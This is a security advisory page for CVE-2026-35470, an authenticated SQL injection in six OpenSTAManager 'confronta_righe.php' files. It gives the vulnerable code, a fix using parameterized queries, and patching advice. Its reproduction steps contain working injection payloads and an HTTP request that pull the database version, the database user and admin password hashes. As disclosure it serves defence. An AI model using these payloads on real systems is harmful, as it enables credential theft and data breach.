CVE-2026-35470

HIGH
2026-04-03 https://github.com/devcode-it/openstamanager GHSA-mmm5-3g4x-qw39
8.8
CVSS 3.1
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CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
Patch Released
Apr 04, 2026 - 02:30 nvd
Patch available
Analysis Generated
Apr 03, 2026 - 22:15 vuln.today
CVE Published
Apr 03, 2026 - 21:57 nvd
HIGH 8.8

Description

## Description Six `confronta_righe.php` files across different modules in OpenSTAManager <= 2.10.1 contain an SQL Injection vulnerability. The `righe` parameter received via `$_GET['righe']` is directly concatenated into an SQL query without any sanitization, parameterization or validation. An authenticated attacker can inject arbitrary SQL statements to extract sensitive data from the database, including user credentials, customer information, invoice data and any other stored data. ## Affected Files All 6 vulnerable files share the same code pattern: | # | File | Line | Affected Table | |---|------|------|----------------| | 1 | `modules/fatture/modals/confronta_righe.php` | 29 | `co_righe_documenti` | | 2 | `modules/interventi/modals/confronta_righe.php` | 29 | `in_righe_interventi` | | 3 | `modules/preventivi/modals/confronta_righe.php` | 28 | `co_righe_preventivi` | | 4 | `modules/ordini/modals/confronta_righe.php` | 29 | `or_righe_ordini` | | 5 | `modules/ddt/modals/confronta_righe.php` | 29 | `dt_righe_ddt` | | 6 | `modules/contratti/modals/confronta_righe.php` | 28 | `co_righe_contratti` | ## Vulnerable Code All files follow the same pattern. Example from `modules/interventi/modals/confronta_righe.php`: ```php $righe = $_GET['righe']; // Line 29 - No sanitization $righe = $dbo->fetchArray( 'SELECT `mg_articoli_lang`.`title`, `mg_articoli`.`codice`, `in_righe_interventi`.* FROM `in_righe_interventi` INNER JOIN `mg_articoli` ON `mg_articoli`.`id` = `in_righe_interventi`.`idarticolo` LEFT JOIN `mg_articoli_lang` ON (...) WHERE `in_righe_interventi`.`id` IN ('.$righe.')' // Line 41 - Direct concatenation ); ``` The value of `$_GET['righe']` is inserted directly into the SQL `IN()` clause without using `prepare()`, parameterized statements or any sanitization function. ## Reproduction ### Prerequisites - Authenticated session (any user with module access) - At least one existing record in the target module (e.g. an intervention with id=1) ### Step 1: Extract MySQL version ``` GET /modules/interventi/modals/confronta_righe.php?id_module=3&id_record=1&righe=1) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT VERSION())))%23 ``` **Result:** `XPATH syntax error: '~8.3.0'` ### Step 2: Extract database user ``` GET /modules/interventi/modals/confronta_righe.php?id_module=3&id_record=1&righe=1) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT USER())))%23 ``` **Result:** `XPATH syntax error: '[email protected]'` ### Step 3: Extract admin credentials ``` GET /modules/interventi/modals/confronta_righe.php?id_module=3&id_record=1&righe=1) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(username,0x3a,password) FROM zz_users LIMIT 1)))%23 ``` **Result:** `XPATH syntax error: '~admin:$2y$10$qAo04wNbhR9cpxjHzr'` ### Evidence <img width="1254" height="395" alt="image" src="https://github.com/user-attachments/assets/a2367ed6-fa03-4668-9d74-4298cac5e429" /> ### HTTP Request ```http GET /modules/interventi/modals/confronta_righe.php?id_module=3&id_record=1&righe=1)%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20CONCAT(username,0x3a,password)%20FROM%20zz_users%20LIMIT%201)))%23 HTTP/1.1 Host: <TARGET> Cookie: PHPSESSID=<SESSION_ID> ``` ### Response (excerpt) ``` SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~admin:$2y$10$qAo04wNbhR9cpxjHzr' ``` ## Impact - **Confidentiality (High):** Full database data extraction including user credentials (bcrypt hashes), customer data, invoices, contracts and any stored information - **Integrity (High):** Data modification via injected INSERT/UPDATE/DELETE statements through stacked queries or subqueries - **Availability (High):** Deletion of tables or critical data, database corruption ## Remediation ### Recommended Fix Use parameterized statements with `prepare()` for the `righe` parameter: ```php // BEFORE (vulnerable): $righe = $_GET['righe']; $righe = $dbo->fetchArray( '... WHERE `in_righe_interventi`.`id` IN ('.$righe.')' ); // AFTER (secure): $righe_ids = array_map('intval', explode(',', $_GET['righe'] ?? '')); $placeholders = implode(',', array_fill(0, count($righe_ids), '?')); $righe = $dbo->fetchArray( '... WHERE `in_righe_interventi`.`id` IN ('.$placeholders.')', $righe_ids ); ``` This fix must be applied to all **6 files** listed in the "Affected Files" section. ## Credits Omar Ramirez

Analysis

SQL injection in OpenSTAManager 2.10.1 and prior allows authenticated users to extract database contents including bcrypt password hashes, customer records, and financial data via unsanitized GET parameters across six vulnerable PHP modules. The righe parameter in confronta_righe.php files is directly concatenated into IN() clauses without parameterization. …

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Remediation

Within 24 hours: Inventory all OpenSTAManager deployments and document running versions; restrict network access to OpenSTAManager administrative interfaces using firewall rules or VPN requirements. Within 7 days: Apply vendor patch to version 2.10.2 across all instances; if patching cannot complete, implement database-level query logging and monitor for anomalous SQL activity. …

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Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: +0.0
CVSS: +44
POC: 0

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CVE-2026-35470 vulnerability details – vuln.today

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